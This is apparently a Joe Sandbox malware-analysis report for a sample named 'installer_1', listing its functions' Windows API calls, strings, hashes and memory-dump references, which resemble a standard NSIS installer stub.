Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

CreateDirectoryW.KERNELBASE(004D70C8,00000000,004D70C8,004D70C8,004D70C8,-00000002,00403A0B), ref: 004037ED

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction ID: 8ea1286759415c6f695425ed34242866ebe8a7a529327a4e56f2759b30593fc1
Opcode Fuzzy Hash: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction Fuzzy Hash: B1D0A921083C3221C562332A3D06FCF090C8F2635AB02C07BF841B61CA8B2C4B8240EE

Function 00403DAF Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction ID: 301fa2329b67e93c742f3c195cb428e9759bf169fd062939fd541a9b7e119014
Opcode Fuzzy Hash: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction Fuzzy Hash: D3C04C71650601AADA108B509D45F1677595B50B41F544439B641F50E0D674E450DA1E

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040375A,?,?,?,?,00000000,00403A47,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction ID: da19c3e449f5d10d282cbd9bcc1d8f2f369397d5e390659c1e8fea63e82898b0
Opcode Fuzzy Hash: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction Fuzzy Hash: 0CB09231140204AEDA214B109E05F067A21FB94700F208824B2A0380F086711420EA0C

Function 00403D98 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction ID: f61ffac979fbda5733e9df3da2bdae5977773398d3d4f9e0d67d11d125479468
Opcode Fuzzy Hash: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction Fuzzy Hash: EFB09235181A00AADE614B00DF0AF457A62A764701F008079B245640B0CAB200E0DB08

Function 00403D85 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040574D), ref: 00403D8F

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction ID: d14db2bc66c636a64d409f7b36464c270e9f3e97be8c2f7aaa1954d4611ec3db
Opcode Fuzzy Hash: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction Fuzzy Hash: 8DA01275005500DBCF014B40EF048067A61B7503007108478F1810003086310420EB08

Non-executed Functions

Function 0040497C Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404993
GetDlgItem.USER32(?,00000408), ref: 004049A0
GlobalAlloc.KERNEL32(00000040,?), ref: 004049EF
LoadBitmapW.USER32(0000006E), ref: 00404A02
SetWindowLongW.USER32(?,000000FC,Function_000048CC), ref: 00404A1C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A2E
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A42
SendMessageW.USER32(?,00001109,00000002), ref: 00404A58
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A64
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A74
DeleteObject.GDI32(?), ref: 00404A79
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AA4
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404AB0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B51
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404B74
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B85
GetWindowLongW.USER32(?,000000F0), ref: 00404BAF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BBE
ShowWindow.USER32(?,00000005), ref: 00404BCF
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CCD
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D28
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D3D
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D61
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404D87
ImageList_Destroy.COMCTL32(?), ref: 00404D9C
GlobalFree.KERNEL32(?), ref: 00404DAC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E1C
SendMessageW.USER32(?,00001102,?,?), ref: 00404ECA
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404ED9
InvalidateRect.USER32(?,00000000,00000001), ref: 00404EF9
ShowWindow.USER32(?,00000000), ref: 00404F49
GetDlgItem.USER32(?,000003FE), ref: 00404F54
ShowWindow.USER32(00000000), ref: 00404F5B

Strings

N, xrefs: 00404C06
M, xrefs: 00404B43
, xrefs: 00404F39
@, xrefs: 00404B90

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: d31232896a0766ad2925f7f8dcaf29c8f657193e0fe6649208ba40017519f6b3
Instruction ID: e2b6c32447eba08f07ab18e4c0942225b167af9b9c7e550a0b0592367213937f
Opcode Fuzzy Hash: d31232896a0766ad2925f7f8dcaf29c8f657193e0fe6649208ba40017519f6b3
Instruction Fuzzy Hash: 09026CB0900209AFEF209FA4CD45AAE7BB5FB84314F10413AF615B62E1D7B89D91DF58

Function 004044A5 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 004044F9
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404507
GetDlgItem.USER32(?,000003FB), ref: 00404527
GetAsyncKeyState.USER32(00000010), ref: 0040452E
GetDlgItem.USER32(?,000003F0), ref: 00404543
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404554
SetWindowTextW.USER32(?,?), ref: 00404583
SHBrowseForFolderW.SHELL32(?), ref: 0040463D
lstrcmpiW.KERNEL32(00462540,00447240,00000000,?,?), ref: 0040467A
lstrcatW.KERNEL32(?,00462540), ref: 00404686
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404696
CoTaskMemFree.OLE32(00000000), ref: 00404648

Part of subcall function 00405C84: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403F81), ref: 00405C97

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Part of subcall function 00403E74: lstrcatW.KERNEL32(00000000,00000000,0046A560,004C70A8,install.log,00405A9C,004C70A8,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006), ref: 00403E8F

GetDiskFreeSpaceW.KERNEL32(00443238,?,?,0000040F,?,00443238,00443238,?,00000000,00443238,?,?,000003FB,?), ref: 00404759
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404774

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

SetDlgItemTextW.USER32(00000000,00000400,00409264), ref: 004047ED

Strings

82D, xrefs: 004046DB
A, xrefs: 00404636
@%F, xrefs: 00404674
@rD, xrefs: 00404610

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: 82D$@%F$@rD$A
API String ID: 3347642858-1086125096
Opcode ID: c0e02fddfd6f2336b8cee43e087a4f5cb21d7496477502da2ed1e77ce6b2ef00
Instruction ID: 5c5d6a603380bcdbc7d7d35b60f5621b43697e5e98684918e033f9398a36e476
Opcode Fuzzy Hash: c0e02fddfd6f2336b8cee43e087a4f5cb21d7496477502da2ed1e77ce6b2ef00
Instruction Fuzzy Hash: D1B1A4B1900209BBDB11AFA1CD85AAF7AB8EF45314F10847BF605B72D1D77C8A41CB59

Function 00406ED2 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F30
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FA9
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FB5
lstrcmpA.KERNEL32(name,?), ref: 00406FC7
CloseHandle.KERNEL32(?), ref: 004071E6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

GetTTFNameString, xrefs: 00406F07
%s: failed opening file "%s", xrefs: 00406F0C
name, xrefs: 00406FBF

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction ID: 34713ba181b26839f7619e948cf229fd8716e5ee99c03f3e8673f79b0d3e70cf
Opcode Fuzzy Hash: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction Fuzzy Hash: 9091BF70D1412DAACF04EBA5DD909FEBBBAEF48301F00416AF592F72D0E6785A05DB64

Function 00406C9B Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004C30A0), ref: 00406CB8
lstrcatW.KERNEL32(0045C918,\*.*,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D09
lstrcatW.KERNEL32(?,00408838,?,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D29
lstrlenW.KERNEL32(?), ref: 00406D2C
FindFirstFileW.KERNEL32(0045C918,?), ref: 00406D40
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E22
FindClose.KERNEL32(?), ref: 00406E33

Strings

Delete: DeleteFile on Reboot("%s"), xrefs: 00406DE0
Delete: DeleteFile("%s"), xrefs: 00406DBC
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EB0
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E58
Delete: DeleteFile failed("%s"), xrefs: 00406DFD
RMDir: RemoveDirectory("%s"), xrefs: 00406E6F
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406E93
\*.*, xrefs: 00406D03

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*
API String ID: 2035342205-3294556389
Opcode ID: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction ID: 0ca3ec5a28b3c1cae8259a28e21d86b18febecd5c0179aed135e39ed79665852
Opcode Fuzzy Hash: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction Fuzzy Hash: 2D51E3315043056ADB20AB61CD46EAF37B89F81725F22803FF943751D2DB7C49A2DAAD

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00409B24,?,00000001,00409B04,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction ID: c24c797a6f187c751e7d972b1a807078ee58ffeb38f484aa28d094541f0f6205
Opcode Fuzzy Hash: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction Fuzzy Hash: 02415E74A00205BFCF04EFA0CC99EAE7B79FF48314B20456AF915EB2E1C679A941CB54

Function 00402E18 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402E27

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction ID: b91193b5dd17d351e639dca097a4c2443a83fae7855d8014906372cda19badf2
Opcode Fuzzy Hash: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction Fuzzy Hash: 4EE06D32600204AFD700EB749D45ABE736CDF01329F20457BF146F20D1E6B89A41976A

Function 004063AC Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063BF
lstrlenW.KERNEL32(?), ref: 004063CC
GetVersionExW.KERNEL32(?), ref: 0040642A

Part of subcall function 0040602B: CharUpperW.USER32(?,00406401,?), ref: 00406031

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406469
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00406488
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00406492
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040649D
FreeLibrary.KERNEL32(00000000), ref: 004064D4
GlobalFree.KERNEL32(?), ref: 004064DD

Strings

Process32FirstW, xrefs: 004065BD
Unknown, xrefs: 004064FC
Module32NextW, xrefs: 004065DE
EnumProcessModules, xrefs: 0040648A
CreateToolhelp32Snapshot, xrefs: 004065B5
EnumProcesses, xrefs: 00406482
Kernel32.DLL, xrefs: 0040659B
Process32NextW, xrefs: 004065C8
GetModuleBaseNameW, xrefs: 00406494
PSAPI.DLL, xrefs: 00406464
Module32FirstW, xrefs: 004065D3

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction ID: f5db07f83b48746be4b9c4f5c588c21b75103c60b5638216cabcef37c42edb4d
Opcode Fuzzy Hash: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction Fuzzy Hash: 38919331900219EBDF109FA4CD88AAFBBB8EF44741F11447BE546F6281DB388A51CF68

Function 004040B8 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040416D
GetDlgItem.USER32(?,000003E8), ref: 00404181
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040419E
GetSysColor.USER32(?), ref: 004041AF
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041BD
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041CB
lstrlenW.KERNEL32(?), ref: 004041D6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004041E3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004041F2

Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404124,?), ref: 00403FE1
Part of subcall function 00403FCA: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404124,?), ref: 00403FF0
Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404124,?), ref: 00404004

GetDlgItem.USER32(?,0000040A), ref: 0040424A
SendMessageW.USER32(00000000), ref: 00404251
GetDlgItem.USER32(?,000003E8), ref: 0040427E
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042C1
LoadCursorW.USER32(00000000,00007F02), ref: 004042CF
SetCursor.USER32(00000000), ref: 004042D2
ShellExecuteW.SHELL32(0000070B,open,00462540,00000000,00000000,00000001), ref: 004042E7
LoadCursorW.USER32(00000000,00007F00), ref: 004042F3
SetCursor.USER32(00000000), ref: 004042F6
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404325
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404337

Strings

@%F, xrefs: 004042A7
N, xrefs: 0040426C
open, xrefs: 004042DF

Memory Dump Source

